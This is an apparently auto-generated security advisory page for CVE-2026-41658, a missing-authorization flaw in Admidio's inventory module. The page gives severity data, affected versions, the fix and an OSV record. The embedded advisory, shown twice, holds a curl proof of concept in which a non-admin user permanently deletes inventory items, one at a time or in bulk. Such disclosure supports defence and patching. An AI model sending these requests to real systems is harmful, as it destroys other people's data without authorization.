CVE-2026-41658: Admidio/admidio Admidio's Missing Authorization On Inventory Vulnerability

MODERATE
Advisory Identifier: GHSA-xqv4-xm7h-52cv
CVSS 6.5
CWE-862
Published
Advisory Summary

CVE-2026-41658 is a MODERATE (CVSS 6.5) admidio's missing authorization on inventory vulnerability (CWE-862: Missing Authorization) affecting Admidio/admidio libraries in the Packagist ecosystem. The issue involves admidio's missing authorization on inventory module destructive endpoints allows any authenticated user to delete items. Remediation is available by upgrading affected packages to version 5.0.9.

CVE-2026-41658 at a Glance

CVE Identifier CVE-2026-41658
GHSA Identifier GHSA-xqv4-xm7h-52cv
Severity MODERATE
CVSS v3.1 Base Score 6.5
CWE Classification CWE-862: Missing Authorization
Affected Product Admidio/admidio
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-41658

To remediate this vulnerability, upgrade all affected Admidio/admidio dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

admidio/admidio fixed: 5.0.9
Upgrade admidio/admidio to 5.0.9
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for admidio/admidio

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-41658, inspect your project dependencies for Admidio/admidio:

inspect dependencies for admidio/admidio

Analyze the terminal output to locate any version of Admidio/admidio in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.0.9), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-862: Missing Authorization, where the product does not perform an authorization check when an actor attempts to access a resource or perform an action. In Admidio/admidio, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The Admidio inventory module enforces authorization for destructive operations (delete, retire, reinstate) only in the UI layer by conditionally rendering buttons. The backend POST handlers at `modules/inventory.php` for `item_delete`, `item_retire`, `item_reinstate`, `item_picture_upload`, `item_picture_save`, and `item_picture_delete` perform CSRF validation but never check whether the requesting user is an inventory administrator. Any authenticated user who can access the inventory module can permanently delete any inventory item and all its associated data. ## Details The inventory module applies a module-level access control check at `modules/inventory.php:65-72` that determines whether a user can access the inventory module at all, based on the `inventory_module_enabled` setting. In the default configuration (value `2`), any logged-in user passes this check. The `item_delete` handler at lines 381-397 only validates the CSRF token: ```php // modules/inventory.php:381-397 case 'item_delete': // check the CSRF token of the form against the session token SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']); if (count($getItemUUIDs) > 0) { foreach ($getItemUUIDs as $itemUuid) { $itemService = new ItemService($gDb, $itemUuid); $itemService->delete(); } echo json_encode(array('status' => 'success', 'message' => $gL10n->get('SYS_INVENTORY_SELECTION_DELETED'))); } else { $itemService = new ItemService($gDb, $getiniUUID); $itemService->delete(); echo json_encode(array('status' => 'success', 'message' => $gL10n->get('SYS_INVENTORY_ITEM_DELETED'))); } break; ``` There is no call to `$gCurrentUser->isAdministratorInventory()` before executing the deletion. The service layer (`ItemService::delete()` at `src/Inventory/Service/ItemService.php:86-92`) and the data layer (`ItemsData::deleteItem()` at `src/Inventory/ValueObjects/ItemsData.php:1078-1095`) also contain no authorization checks — they directly execute `DELETE FROM` SQL statements on the item data, borrow data, and item tables. Meanwhile, the UI **does** check admin status before showing delete buttons: ```php // modules/inventory.php:306-309 (UI only) if ($gCurrentUser->isAdministratorInventory()) { $msg .= '<button id="adm_button_delete" ...>'; } ``` This creates a false sense of security — the button is hidden, but the endpoint is fully accessible. Item UUIDs needed for the attack are visible to all users who can view the inventory list. The same missing-authorization pattern affects: - `item_retire` (line 347) — soft-retires items without admin check - `item_reinstate` (line 364) — reinstates retired items without admin check - `item_picture_upload` (line 428) — uploads pictures without admin check - `item_picture_save` (line 445) — saves pictures without admin check - `item_picture_delete` (line 457) — deletes pictures without admin check ## PoC Prerequisites: An Admidio instance with the inventory module enabled (default setting `inventory_module_enabled=2`), two user accounts — one admin who created inventory items, and one regular user with no inventory admin rights. ```bash # Step 1: Log in as a regular (non-admin) user and get session cookie + CSRF token # The CSRF token is embedded in any page the user can access curl -c cookies.txt -b cookies.txt 'https://target/adm_program/modules/inventory.php?mode=item_list' # Step 2: Extract a target item UUID from the inventory list page # Item UUIDs are visible in the list view HTML to all users with module access # Step 3: Permanently delete the item (as a non-admin user) curl -X POST 'https://target/adm_program/modules/inventory.php?mode=item_delete&item_uuid=TARGET-ITEM-UUID' \ -H 'Cookie: PHPSESSID=regular_user_session' \ -d 'adm_csrf_token=EXTRACTED_CSRF_TOKEN' # Expected response: {"status":"success","message":"Item deleted"} # The item and all associated data (item fields, borrow records) are permanently deleted. # Step 4: Bulk deletion is also possible curl -X POST 'https://target/adm_program/modules/inventory.php?mode=item_delete&item_uuids[]=UUID1&item_uuids[]=UUID2&item_uuids[]=UUID3' \ -H 'Cookie: PHPSESSID=regular_user_session' \ -d 'adm_csrf_token=EXTRACTED_CSRF_TOKEN' ``` ## Impact - **Data destruction**: Any authenticated user can permanently delete any inventory item, including all associated field data and borrow records. There is no soft-delete or recycle bin — the SQL `DELETE FROM` statements are irreversible without database backups. - **Bulk deletion**: The endpoint accepts multiple item UUIDs, allowing an attacker to delete all inventory items in a single request. - **Additional unauthorized operations**: The same pattern allows non-admin users to retire/reinstate items and upload/modify/delete item pictures, undermining the entire inventory permission model. - **Blast radius**: In organizations using Admidio's inventory module to track physical assets, a disgruntled member or compromised low-privilege account could wipe the entire inventory database. ## Recommended Fix Add `isAdministratorInventory()` checks to all destructive inventory endpoints. The fix should be applied at the handler level in `modules/inventory.php` before any service calls: ```php // modules/inventory.php — Add authorization check to item_delete case 'item_delete': // check the CSRF token of the form against the session token SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']); // ADD THIS: check if user has admin rights for inventory if (!$gCurrentUser->isAdministratorInventory()) { throw new Exception('SYS_NO_RIGHTS'); } if (count($getItemUUIDs) > 0) { // ... existing code ``` Apply the same pattern to `item_retire`, `item_reinstate`, `item_picture_upload`, `item_picture_save`, and `item_picture_delete`. Additionally, consider adding authorization checks in `ItemService` methods as defense-in-depth.

CVE-2026-41658 Affected Admidio/admidio Versions

1 component(s)
Fixed Versions:
5.0.9
Product / Package Ecosystem Affected Versions Fixed Version
admidio/admidio
Packagist
< 5.0.9
5.0.9

References

Frequently Asked Questions

What is CVE-2026-41658?
CVE-2026-41658 is a security vulnerability in Admidio/admidio involving Admidio's Missing Authorization on Inventory Module Destructive Endpoints Allows Any Authenticated User to Delete Items under CWE-862: Missing Authorization.
Which Admidio/admidio versions are affected?
Affected versions include releases prior to 5.0.9 across affected packages: admidio/admidio.
What version fixes CVE-2026-41658?
Upgrading to 5.0.9 (or the latest patched release for your respective branch) resolves the vulnerability.
Is admidio/admidio affected?
Yes, admidio/admidio is affected in releases prior to 5.0.9. Upgrade your dependency to 5.0.9 or later.
What is the CVSS score of CVE-2026-41658?
CVE-2026-41658 has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N.
What CWE is associated with CVE-2026-41658?
CVE-2026-41658 is classified under CWE-862: Missing Authorization (The product does not perform an authorization check when an actor attempts to access a resource or perform an action.).
How can I check Packagist dependencies for CVE-2026-41658?
Run the dependency tree command: 'inspect dependencies for admidio/admidio'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-xqv4-xm7h-52cv",
  "modified" : "2026-05-08T20:13:44Z",
  "published" : "2026-04-29T21:46:23Z",
  "aliases" : [ "CVE-2026-41658" ],
  "summary" : "Admidio's Missing Authorization on Inventory Module Destructive Endpoints Allows Any Authenticated User to Delete Items",
  "details" : "## Summary\n\nThe Admidio inventory module enforces authorization for destructive operations (delete, retire, reinstate) only in the UI layer by conditionally rendering buttons. The backend POST handlers at `modules/inventory.php` for `item_delete`, `item_retire`, `item_reinstate`, `item_picture_upload`, `item_picture_save`, and `item_picture_delete` perform CSRF validation but never check whether the requesting user is an inventory administrator. Any authenticated user who can access the inventory module can permanently delete any inventory item and all its associated data.\n\n## Details\n\nThe inventory module applies a module-level access control check at `modules/inventory.php:65-72` that determines whether a user can access the inventory module at all, based on the `inventory_module_enabled` setting. In the default configuration (value `2`), any logged-in user passes this check.\n\nThe `item_delete` handler at lines 381-397 only validates the CSRF token:\n\n```php\n// modules/inventory.php:381-397\ncase 'item_delete':\n    // check the CSRF token of the form against the session token\n    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);\n\n    if (count($getItemUUIDs) > 0) {\n        foreach ($getItemUUIDs as $itemUuid) {\n            $itemService = new ItemService($gDb, $itemUuid);\n            $itemService->delete();\n        }\n        echo json_encode(array('status' => 'success', 'message' => $gL10n->get('SYS_INVENTORY_SELECTION_DELETED')));\n    } else {\n        $itemService = new ItemService($gDb, $getiniUUID);\n        $itemService->delete();\n        echo json_encode(array('status' => 'success', 'message' => $gL10n->get('SYS_INVENTORY_ITEM_DELETED')));\n    }\n    break;\n```\n\nThere is no call to `$gCurrentUser->isAdministratorInventory()` before executing the deletion. The service layer (`ItemService::delete()` at `src/Inventory/Service/ItemService.php:86-92`) and the data layer (`ItemsData::deleteItem()` at `src/Inventory/ValueObjects/ItemsData.php:1078-1095`) also contain no authorization checks — they directly execute `DELETE FROM` SQL statements on the item data, borrow data, and item tables.\n\nMeanwhile, the UI **does** check admin status before showing delete buttons:\n\n```php\n// modules/inventory.php:306-309 (UI only)\nif ($gCurrentUser->isAdministratorInventory()) {\n    $msg .= '<button id=\"adm_button_delete\" ...>';\n}\n```\n\nThis creates a false sense of security — the button is hidden, but the endpoint is fully accessible. Item UUIDs needed for the attack are visible to all users who can view the inventory list.\n\nThe same missing-authorization pattern affects:\n- `item_retire` (line 347) — soft-retires items without admin check\n- `item_reinstate` (line 364) — reinstates retired items without admin check\n- `item_picture_upload` (line 428) — uploads pictures without admin check\n- `item_picture_save` (line 445) — saves pictures without admin check\n- `item_picture_delete` (line 457) — deletes pictures without admin check\n\n## PoC\n\nPrerequisites: An Admidio instance with the inventory module enabled (default setting `inventory_module_enabled=2`), two user accounts — one admin who created inventory items, and one regular user with no inventory admin rights.\n\n```bash\n# Step 1: Log in as a regular (non-admin) user and get session cookie + CSRF token\n# The CSRF token is embedded in any page the user can access\ncurl -c cookies.txt -b cookies.txt 'https://target/adm_program/modules/inventory.php?mode=item_list'\n\n# Step 2: Extract a target item UUID from the inventory list page\n# Item UUIDs are visible in the list view HTML to all users with module access\n\n# Step 3: Permanently delete the item (as a non-admin user)\ncurl -X POST 'https://target/adm_program/modules/inventory.php?mode=item_delete&item_uuid=TARGET-ITEM-UUID' \\\n  -H 'Cookie: PHPSESSID=regular_user_session' \\\n  -d 'adm_csrf_token=EXTRACTED_CSRF_TOKEN'\n\n# Expected response: {\"status\":\"success\",\"message\":\"Item deleted\"}\n# The item and all associated data (item fields, borrow records) are permanently deleted.\n\n# Step 4: Bulk deletion is also possible\ncurl -X POST 'https://target/adm_program/modules/inventory.php?mode=item_delete&item_uuids[]=UUID1&item_uuids[]=UUID2&item_uuids[]=UUID3' \\\n  -H 'Cookie: PHPSESSID=regular_user_session' \\\n  -d 'adm_csrf_token=EXTRACTED_CSRF_TOKEN'\n```\n\n## Impact\n\n- **Data destruction**: Any authenticated user can permanently delete any inventory item, including all associated field data and borrow records. There is no soft-delete or recycle bin — the SQL `DELETE FROM` statements are irreversible without database backups.\n- **Bulk deletion**: The endpoint accepts multiple item UUIDs, allowing an attacker to delete all inventory items in a single request.\n- **Additional unauthorized operations**: The same pattern allows non-admin users to retire/reinstate items and upload/modify/delete item pictures, undermining the entire inventory permission model.\n- **Blast radius**: In organizations using Admidio's inventory module to track physical assets, a disgruntled member or compromised low-privilege account could wipe the entire inventory database.\n\n## Recommended Fix\n\nAdd `isAdministratorInventory()` checks to all destructive inventory endpoints. The fix should be applied at the handler level in `modules/inventory.php` before any service calls:\n\n```php\n// modules/inventory.php — Add authorization check to item_delete\ncase 'item_delete':\n    // check the CSRF token of the form against the session token\n    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);\n\n    // ADD THIS: check if user has admin rights for inventory\n    if (!$gCurrentUser->isAdministratorInventory()) {\n        throw new Exception('SYS_NO_RIGHTS');\n    }\n\n    if (count($getItemUUIDs) > 0) {\n        // ... existing code\n```\n\nApply the same pattern to `item_retire`, `item_reinstate`, `item_picture_upload`, `item_picture_save`, and `item_picture_delete`. Additionally, consider adding authorization checks in `ItemService` methods as defense-in-depth.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "admidio/admidio"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "5.0.9"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.0.8"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Admidio/admidio/security/advisories/GHSA-xqv4-xm7h-52cv"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-41658"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Admidio/admidio"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Admidio/admidio/releases/tag/v5.0.9"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-862" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-29T21:46:23Z",
    "nvd_published_at" : "2026-05-07T04:16:29Z"
  }
}